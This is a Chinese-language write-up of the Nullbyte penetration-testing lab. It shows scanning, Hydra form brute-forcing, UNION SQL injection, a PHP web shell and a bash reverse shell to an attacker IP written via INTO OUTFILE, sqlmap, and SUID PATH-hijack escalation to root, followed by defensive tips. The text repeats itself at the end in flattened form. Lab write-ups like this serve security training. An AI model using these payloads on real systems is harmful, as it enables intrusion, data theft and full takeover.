Linux渗透实战之Nullbyte靶场提权
字数 1270 2025-08-22 12:23:19

Linux渗透实战之Nullbyte靶场提权教学文档

0x1 靶场概述

Nullbyte靶场是一个以SQL注入为主的渗透测试练习环境,涉及以下核心技能点:

  • Hydra表单暴力破解
  • John md5哈希暴力破解
  • 多种SQL注入技术(手工注入、文件写入、反弹shell)
  • SQLmap自动化注入
  • SUID提权技术

0x2 信息收集阶段

1. 主机探测

arp-scan -l

发现靶机IP:192.168.103.160

2. 端口扫描

nmap -sS -A -p- 192.168.103.160

发现开放端口:

  • 80 (HTTP)
  • 111 (RPC)
  • 777 (SSH,注意是修改后的端口)
  • 38389

3. 漏洞扫描

nmap --script=vuln -p80,111,777,38389 192.168.103.160

发现:

  • /phpmyadmin/目录
  • 可能存在CVE-2007-6750漏洞(HTTP DoS漏洞,本靶场中无实际利用价值)

4. 目录扫描

gobuster dir -u http://192.168.103.160 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

发现重要目录:

  • /uploads/
  • /phpmyadmin/
  • /javascript/

0x3 Web渗透阶段

1. 初始信息收集

  • 网站根目录只有main.gif图片
  • 使用exiftool分析图片:
exiftool main.gif

发现隐藏字符串:kzMb5nVYJw(实际为隐藏目录)

2. Hydra表单爆破

发现/kzMb5nVYJw/目录下有密码输入表单,使用Hydra爆破:

hydra 192.168.103.160 http-form-post "/kzMb5nVYJw/index.php:key=^PASS^:invalid key" -l routing -P /usr/share/wordlists/rockyou.txt

爆破成功,密码为:elite

3. SQL注入漏洞发现

进入后界面存在搜索功能,发现420search.php文件,存在GET传参,测试存在SQL注入漏洞。

0x4 SQL注入技术详解

方法一:手工联合注入

  1. 确定列数:
" order by 1,2,3 -- -
  1. 获取数据库名:
" union select 1,2,database() -- -

结果:seth

  1. 获取表名:
" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- -

结果:users

  1. 获取列名:
" union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users" -- -

结果:id,user,pass,position

  1. 获取用户凭据:
" union select 1,2,group_concat(pass) from users -- -

得到base64编码的MD5哈希:YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE

解码后MD5:c6d6bd7ebf806f43c76acc3681703b81

解密得到密码:omega

方法二:写入一句话木马

" union select "<?php system($_GET['cmd']); ?>", 2, 3 into outfile "/var/www/html/uploads/shell.php" -- -

利用:

?cmd=cat /var/www/html/kzMb5nVYJw/420search.php

获取数据库凭据:

  • 用户:root
  • 密码:sunnyvale

方法三:写入反弹shell

写入nc.php:

" union select "<?php exec(\"/bin/bash -c 'bash -i >& /dev/tcp/192.168.103.129/1234 0>&1'\"); ?>", 2, 3 into outfile "/var/www/html/uploads/nc.php" -- -

监听:

nc -lvnp 1234

访问/uploads/nc.php获取反弹shell

方法四:SQLmap自动化注入

sqlmap -u "http://192.168.103.201/kzMb5nVYJw/420search.php?usrtosearch=1" --dump --batch

0x5 提权阶段

1. SSH登录

ssh ramses@192.168.103.160 -p 777

密码:omega

2. SUID提权

发现具有SUID权限的可执行文件:

ls -la /var/www/backup/procwatch

输出:

-rwsr-xr-x 1 root root 4932 Aug  2  2015 /var/www/backup/procwatch

提权步骤:

  1. 创建sh的软链接:
ln -s /bin/sh ps
  1. 修改环境变量:
export PATH=.:$PATH
  1. 执行procwatch:
./procwatch

成功获取root权限

0x6 技术要点总结

  1. 信息收集:全面扫描端口和目录,不放过任何细节(如图片元数据)

  2. 密码破解:合理使用Hydra和字典文件

  3. SQL注入

    • 掌握多种注入技术(联合查询、文件写入)
    • 了解写入文件的前提条件(secure_file_priv为空、知道绝对路径)
  4. 提权技术

    • 关注SUID权限文件
    • 理解环境变量在提权中的作用
    • 掌握符号链接的利用方法
  5. 防御建议

    • 限制数据库文件写入权限
    • 严格控制SUID权限
    • 避免在Web目录存放敏感信息
    • 使用参数化查询防止SQL注入
Linux渗透实战之Nullbyte靶场提权教学文档 0x1 靶场概述 Nullbyte靶场是一个以SQL注入为主的渗透测试练习环境,涉及以下核心技能点: Hydra表单暴力破解 John md5哈希暴力破解 多种SQL注入技术(手工注入、文件写入、反弹shell) SQLmap自动化注入 SUID提权技术 0x2 信息收集阶段 1. 主机探测 发现靶机IP:192.168.103.160 2. 端口扫描 发现开放端口: 80 (HTTP) 111 (RPC) 777 (SSH,注意是修改后的端口) 38389 3. 漏洞扫描 发现: /phpmyadmin/目录 可能存在CVE-2007-6750漏洞(HTTP DoS漏洞,本靶场中无实际利用价值) 4. 目录扫描 发现重要目录: /uploads/ /phpmyadmin/ /javascript/ 0x3 Web渗透阶段 1. 初始信息收集 网站根目录只有main.gif图片 使用exiftool分析图片: 发现隐藏字符串:kzMb5nVYJw(实际为隐藏目录) 2. Hydra表单爆破 发现/kzMb5nVYJw/目录下有密码输入表单,使用Hydra爆破: 爆破成功,密码为:elite 3. SQL注入漏洞发现 进入后界面存在搜索功能,发现420search.php文件,存在GET传参,测试存在SQL注入漏洞。 0x4 SQL注入技术详解 方法一:手工联合注入 确定列数: 获取数据库名: 结果:seth 获取表名: 结果:users 获取列名: 结果:id,user,pass,position 获取用户凭据: 得到base64编码的MD5哈希:YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE 解码后MD5:c6d6bd7ebf806f43c76acc3681703b81 解密得到密码:omega 方法二:写入一句话木马 利用: 获取数据库凭据: 用户:root 密码:sunnyvale 方法三:写入反弹shell 写入nc.php: 监听: 访问/uploads/nc.php获取反弹shell 方法四:SQLmap自动化注入 0x5 提权阶段 1. SSH登录 密码:omega 2. SUID提权 发现具有SUID权限的可执行文件: 输出: 提权步骤: 创建sh的软链接: 修改环境变量: 执行procwatch: 成功获取root权限 0x6 技术要点总结 信息收集 :全面扫描端口和目录,不放过任何细节(如图片元数据) 密码破解 :合理使用Hydra和字典文件 SQL注入 : 掌握多种注入技术(联合查询、文件写入) 了解写入文件的前提条件(secure_ file_ priv为空、知道绝对路径) 提权技术 : 关注SUID权限文件 理解环境变量在提权中的作用 掌握符号链接的利用方法 防御建议 : 限制数据库文件写入权限 严格控制SUID权限 避免在Web目录存放敏感信息 使用参数化查询防止SQL注入